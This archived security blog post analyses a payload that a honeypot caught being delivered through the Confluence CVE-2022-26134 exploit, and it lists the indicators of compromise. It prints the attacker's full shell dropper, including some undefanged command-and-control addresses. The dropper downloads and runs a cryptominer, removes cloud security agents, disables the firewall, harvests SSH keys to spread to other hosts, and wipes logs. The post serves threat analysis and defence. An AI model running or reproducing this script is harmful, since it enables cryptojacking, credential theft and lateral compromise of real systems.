CVE-2022-26134 – Honeypot Payload Analysis Example – PwnDefend

Archived: 2026-04-05 18:16:04 UTC

Threat actors are deploying a range of payloads to try and leverage vulnerable confluence servers around the globe. This just dropped into one of the pots:

HTTP Command Executes this:

```
curl http[:]//202.28.229.174/ap[.]sh?confcurl
```

This download the following (ap.sh)

```
$stealz = wget -Uri http[:]//202.28.229[.]174/ap[.]sh?confcurl -UseBasicParsing

$stealz.Content | Out-File ap.txt
```

```
$stealz = wget -Uri http://202.28.229.174/ap.sh?confcurl -UseBasicParsing

$stealz.Content | Out-File ap.txt
```

```
pkill -9 -f pastebin
pkill -9 -f '/tmp/\.'
pkill -9 -f /tmp/system
pkill -9 -f excludefile
pkill -9 -f agettyd
pkill -9 -f /dev/shm
pkill -9 -f /var/tmp
pkill -9 -f '\./python'
pkill -9 -f '\./crun'
pkill -9 -f '\./\.'
pkill -9 -f '118/cf\.sh'
pkill -9 -f /tmp/.UNIFI/.unifi.sh
pkill -9 '\.6379'
pkill -9 'load\.sh'
pkill -9 'init\.sh'
pkill -9 'solr\.sh'
pkill -9 '\.rsyslogds'
pkill -9 pnscan
pkill -9 masscan
pkill -9 kthreaddi
pkill -9 -f -bash
pkill -9 kdevtmpfsi
pkill -9 solrd
pkill -9 meminitsrv
pkill -9 networkservice
pkill -9 sysupdate
pkill -9 phpguard
pkill -9 phpupdate
pkill -9 networkmanager
pkill -9 knthread
pkill -9 mysqlserver
pkill -9 watchbog
pkill -9 xmrig
pkill -9 bashirc
pkill -9 zgrab
killall -9 /tmp/*
killall -9 /var/tmp/*

for i in $(ls /proc|grep '[0-9]'); do
  if ls -al /proc/$i 2>/dev/null|grep hezb 2>/dev/null; then
    continue
  fi
  if grep -a 'donate-level=' /proc/$i/exe 1>/dev/null 2>&1; then
    kill -9 $i
  fi
  if ls -al /proc/$i | grep exe | grep "/var/tmp\|/tmp"; then
    kill -9 $i
  fi
done

if [ $(id -u) -eq 0 ]; then
    if ps aux|grep -i "[a]liyun"; then
        curl http://update.aegis.aliyun.com/download/uninstall.sh|bash
        curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh|bash
        pkill aliyun-service
        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis*
        systemctl stop aliyun.service
        systemctl disable aliyun.service
        service bcm-agent stop
        yum remove bcm-agent -y
        apt-get remove bcm-agent -y
    elif ps aux|grep -i "[y]unjing"; then
        /usr/local/qcloud/stargate/admin/uninstall.sh
        /usr/local/qcloud/YunJing/uninst.sh
        /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
fi
a=$(nproc | grep -v nproc)
b=4
if [ "$a" -gt "$b" ]; then
  miner="-o 106.251.252.226:4545 -u $HOSTNAME.8"
else
  miner="-o 106.251.252.226:4545 -u $HOSTNAME.4"
fi

ps -fe|grep hezb|grep -v grep; if [ $? -ne 0 ]; then
  md5="27c44dd2edc626df03504ce129f5c021"
  sum=$(md5sum hezb | awk '{ print $1 }')
  if [ "$md5" = "$sum" ]; then
    chmod +x hezb; nohup hezb $miner -k -B 1>/dev/null 2>&1 &
    PATH=".:$PATH"; get $cc/ap.txt $sys; nohup $sys 1>/dev/null 2>&1 &
  else
    PATH=".:$PATH"; get $cc/ap.txt $sys; nohup $sys 1>/dev/null 2>&1 &
    PATH=".:$PATH"; get $cc/sys.$(uname -m) hezb; chmod +x hezb; nohup hezb $miner -k -B 1>/dev/null 2>&1 &
  fi
fi

rm -rf /tmp/.UNIFI /tmp/.destiny/*
rm -rf /var/tmp/* /var/tmp/.* /tmp/* /var/.httpd $sys dlr
chmod -rwx /tmp/.destiny/* /tmp/destiny
KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*'|grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep IdentityFile|awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem'|uniq)
```

Downloading a sample using powershell invoke-webrequest (iwr or wget) using basic parsing

I've defanged the urls:

```
 #!/bin/bash
#microsoft
#lkasdjfjasdflkajdsflkajsdflk;ajdsflk jalskdjf lkasjdf ;lkajsdflkajsdfl;kj asldfkj
#ijinvuneufdjknflaskdfj ijdif idnfmikdnfkjsfkdjfi hif
export PATH=$PATH:/tmp:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/tmp:/dev/shm
cc="hxxp[://]202[.]28[.]229[.]174"
CURL_DOWNLOAD_URL="hxxp[://]202[.]28[.]229[.]174/curl"
```

```
sys=$(date|md5sum|awk -v n="$(date +%s)" '{print substr($1,1,n%7+6)}')
if [ $(ps -fe|grep hezb |grep -v grep|wc -l) -eq 1 ];then
  exit;
fi
pkill -9 -f rodolf
function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=82

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

if [ -x "$(command -v curl)" ]; then
  WGET="curl -o"
elif [ -x "$(command -v wget)" ]; then
  WGET="wget -O"
else
  PATH=".:$PATH"; curld -V || __curl "$CURL_DOWNLOAD_URL" > /usr/local/bin/.curld; chmod +x /usr/local/bin/.curl
  PATH=".:$PATH"; /usr/local/bin/.curld -V && WGET="/usr/local/bin/.curl -o"
  PATH=".:$PATH"; /usr/local/bin/.curl -V || __curl "$CURL_DOWNLOAD_URL" > $HOME/.curld; chmod +x $HOME/.curld
  PATH=".:$PATH"; $HOME/.curld -V && WGET="$HOME/.curl -o"
  PATH=".:$PATH"; $HOME/.curld -V || __curl "$CURL_DOWNLOAD_URL" > .curld; chmod +x .curld
  PATH=".:$PATH"; ./.curld -V && WGET="./.curld -o"
  PATH=".:$PATH"; ./.curld -V || __curl "$CURL_DOWNLOAD_URL" > /var/tmp/.curld; chmod +x /var/tmp/.curld
  PATH=".:$PATH"; /var/tmp/.curld -V && WGET="/var/tmp/.curld -o"
fi
echo "wget is $WGET"

get() {
    $WGET $2 $1
    chmod +x $2
}

ufw disable
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -F
chattr -ia /etc/ld[.]so[.]preload
```

```
cat /dev/null>/etc/ld[.]so[.]preload

f=false
findDir() {
  for i in $(ls $1 | grep -v proc); do
    if $f; then return; fi
    p="${1}""/$i"
    if [ -d $p -a -r $p ]; then
      if [ -w $p -a -x $p ]; then
        echo exit>$p/i && chmod +x $p/i && cd $p && ./i && rm -f i && f=true && return
      fi
      findDir $p
    fi
  done
}
findDir /
rm -rf dom; rm -rf a[.]sh; rm -rf ko
crontab -r
crontab -l|sed '/\.bashgo\|pastebin\|onion\|bprofr\|python/d'|crontab -
cat /proc/mounts|awk '{print $2}'|grep -P '/proc/\d+'|grep -Po '\d+'|xargs -I % kill -9 %
ps -ef | grep -v grep | grep confssh | awk '{print $2}' | xargs -i kill -9 {}
ps -ef | grep -v grep | grep rodolf | awk '{print $2}' | xargs -i kill -9 {}
ps -ef | grep -v grep | grep cruner | awk '{print $2}' | xargs -i kill -9 {}
netstat -antp | grep 125.39.100.42 | awk '{print $7}' | awk -F[/] '{print $1}' | xargs -i kill -9 {}
pkill -9 sidekiq

pkill -9 bashirc
pkill -9 -f bashirc
pkill -9 -f mysqldd
pkill -9 -f rodolf[.]sh
pkill -9 -f kinsing
pkill -9 -f rodolf
pkill -9 -f sshexec
pkill -9 -f cnrig
pkill -9 -f attack
pkill -9 -f dovecat
pkill -9 -f javae
pkill -9 -f donate
pkill -9 -f 'scan\.log'
pkill -9 -f xmr-stak
pkill -9 -f crond64
pkill -9 -f stratum
pkill -9 -f /tmp/java
pkill -9 -f pastebin
pkill -9 -f '/tmp/\.'
pkill -9 -f /tmp/system
pkill -9 -f excludefile
```

```
pkill -9 -f agettyd
pkill -9 -f /dev/shm
pkill -9 -f /var/tmp
pkill -9 -f '\./python'
pkill -9 -f '\./crun'
pkill -9 -f '\./\.'
pkill -9 -f '118/cf\.sh'
pkill -9 -f /tmp/.UNIFI/.unifi[.]sh
pkill -9 '\.6379'
pkill -9 'load\.sh'
pkill -9 'init\.sh'
pkill -9 'solr\.sh'
pkill -9 '\.rsyslogds'
pkill -9 pnscan
pkill -9 masscan
pkill -9 kthreaddi
pkill -9 -f -bash
pkill -9 kdevtmpfsi
pkill -9 solrd
pkill -9 meminitsrv
pkill -9 networkservice
pkill -9 sysupdate
pkill -9 phpguard
pkill -9 phpupdate
pkill -9 networkmanager
pkill -9 knthread
pkill -9 mysqlserver
pkill -9 watchbog
pkill -9 xmrig
pkill -9 bashirc
pkill -9 zgrab
killall -9 /tmp/*
killall -9 /var/tmp/*

for i in $(ls /proc|grep '[0-9]'); do
  if ls -al /proc/$i 2>/dev/null|grep hezb 2>/dev/null; then
     continue
  fi
  if grep -a 'donate-level=' /proc/$i/exe 1>/dev/null 2>&1; then
    kill -9 $i
  fi
  if ls -al /proc/$i | grep exe | grep "/var/tmp\|/tmp"; then
    kill -9 $i
  fi
done

if [ $(id -u) -eq 0 ]; then
```

```
    if ps aux|grep -i "[a]liyun"; then
        curl hxxp[://]update[.]aegis[.]aliyun[.]com/download/uninstall[.]sh|bash
        curl hxxp[://]update[.]aegis[.]aliyun[.]com/download/quartz_uninstall[.]sh|bash
        pkill aliyun-service
        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis*
        systemctl stop aliyun[.]service
        systemctl disable aliyun[.]service
        service bcm-agent stop
        yum remove bcm-agent -y
        apt-get remove bcm-agent -y
    elif ps aux|grep -i "[y]unjing"; then
        /usr/local/qcloud/stargate/admin/uninstall[.]sh
        /usr/local/qcloud/YunJing/uninst[.]sh
        /usr/local/qcloud/monitor/barad/admin/uninstall[.]sh
    fi
fi
a=$(nproc | grep -v nproc)
b=4
if [ "$a" -gt "$b" ]; then
  miner="-o 106.251.252.226:4545 -u $HOSTNAME.8"
else
  miner="-o 106.251.252.226:4545 -u $HOSTNAME.4"
fi

ps -fe|grep hezb|grep -v grep; if [ $? -ne 0 ]; then
  md5="27c44dd2edc626df03504ce129f5c021"
  sum=$(md5sum hezb | awk '{ print $1 }')
  if [ "$md5" = "$sum" ]; then
    chmod +x hezb; nohup hezb $miner -k -B 1>/dev/null 2>&1 &
    PATH=".:$PATH"; get $cc/ap[.]txt $sys; nohup $sys 1>/dev/null 2>&1 &
  else
    PATH=".:$PATH"; get $cc/ap[.]txt $sys; nohup $sys 1>/dev/null 2>&1 &
    PATH=".:$PATH"; get $cc/sys.$(uname -m) hezb; chmod +x hezb; nohup hezb $miner -k -B 1>/dev/null 2>&1 &
  fi
fi

rm -rf /tmp/.UNIFI /tmp/.destiny/*
rm -rf /var/tmp/* /var/tmp/.* /tmp/* /var/.httpd $sys dlr
chmod -rwx /tmp/.destiny/* /tmp/destiny
KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*'|grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep IdentityFile|awk -F "IdentityFile" '{print
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem'|uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep HostName|awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history|grep -E "(ssh|scp)"|grep -oP "([0-9]{1,3]
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts|grep -oP "([0-9]{1,3}\.){3}[0-
USERZ=$(
    echo root
```

```
    find ~/ /root /home -maxdepth 2 -name '\.ssh'|uniq|xargs find|awk '/id_rsa/'|awk -F'/' '{print $3}'|uniq|gre
)
users=$(echo $USERZ|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
hosts=$(echo "$HOSTS $HOSTS2 $HOSTS3"|grep -vw 127.0.0.1|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
keys=$(echo "$KEYS $KEYS2 $KEYS3"|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
for user in $users; do
    for host in $hosts; do
        for key in $keys; do
            chmod +r $key; chmod 400 $key
            ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl $cc/ld
        done
    done
done
pkill -9 kik
#PATH=".:$PATH"; get $cc/f "kik"; nohup "kik" 1>/dev/null 2>&1 &
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
```

I've not got time to look at this now but it might make an interesting excerise for someone to anlalyse in detail!

A good to do this is GCHQ CyberChef: https://gchq.github.io/CyberChef/

Try it out: SAMPLE

IOCs and Analysis Info

Extracted IPs:

```
 202.28.229.174
202.28.229.174
125.39.100.42
106.251.252.226
106.251.252.226
127.0.0.1
```

Extracted urls:

hxxp[://]202[.]28[.]229[.]174
hxxp[://]202[.]28[.]229[.]174/curl
hxxp[://]update[.]aegis[.]aliyun[.]com/download/uninstall[.]sh|bash
hxxp[://]update[.]aegis[.]aliyun[.]com/download/quartz_uninstall[.]sh|bash

Extracted file paths:

```
 /bin/bash
/tmp
/bin
/sbin
/usr/bin
/usr/sbin
/usr/local/bin
/usr/local/sbin
/tmp
/dev/shm
/202.28.229.174
/202.28.229.174/curl
/dev/tcp
/1.0
/usr/local/bin/.curld
/usr/local/bin/.curld
/usr/local/bin/.curld
/usr/local/bin/.curl
/usr/local/bin/.curl
/.curld
/.curld
/.curld
/.curl
/.curld
/.curld
/.curld
/.curld
/var/tmp/.curld
/var/tmp/.curld
/var/tmp/.curld
/var/tmp/.curld
/etc/ld.so.preload
/dev/null
/etc/ld.so.preload
/i
/i
/i
/d
/proc/mounts
/proc
/tmp/java
/tmp
/tmp/system
/dev/shm
/var/tmp
/python
```

```
/crun
/cf
/tmp/.UNIFI/.unifi.sh
/tmp
/var/tmp
/proc
/proc
/dev/null
/dev/null
/proc
/exe
/dev/null
/proc
/var/tmp
/tmp
/update.aegis.aliyun.com/download/uninstall.sh
/update.aegis.aliyun.com/download/quartz
/etc/init.d/agentwatch
/usr/sbin/aliyun-service
/usr/local/aegis
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
/dev/null
/ap.txt
/dev/null
/ap.txt
/dev/null
/sys.
/dev/null
/tmp/.UNIFI
/tmp/.destiny
/var/tmp
/var/tmp/.
/tmp
/var/.httpd
/tmp/.destiny
/tmp/destiny
/root
/home
/.ssh/config
/home
/.ssh/config
/root/.ssh/config
/root
/home
/.ssh/config
```

```
/home
/.ssh/config
/root/.ssh/config
/.bash
/home
/.bash
/root/.bash
/.ssh/known
/home
/.ssh/known
/root/.ssh/known
/root
/home
/id
/ldr.sh
/ldr.sh
/ldr.sh
/f
/dev/null
/var/spool/mail/root
/var/log/wtmp
/var/log/secure
/var/log/cron
```

Source: https://www.pwndefend.com/2022/06/04/cve-2022-26134-honeypot-payload-analysis-example/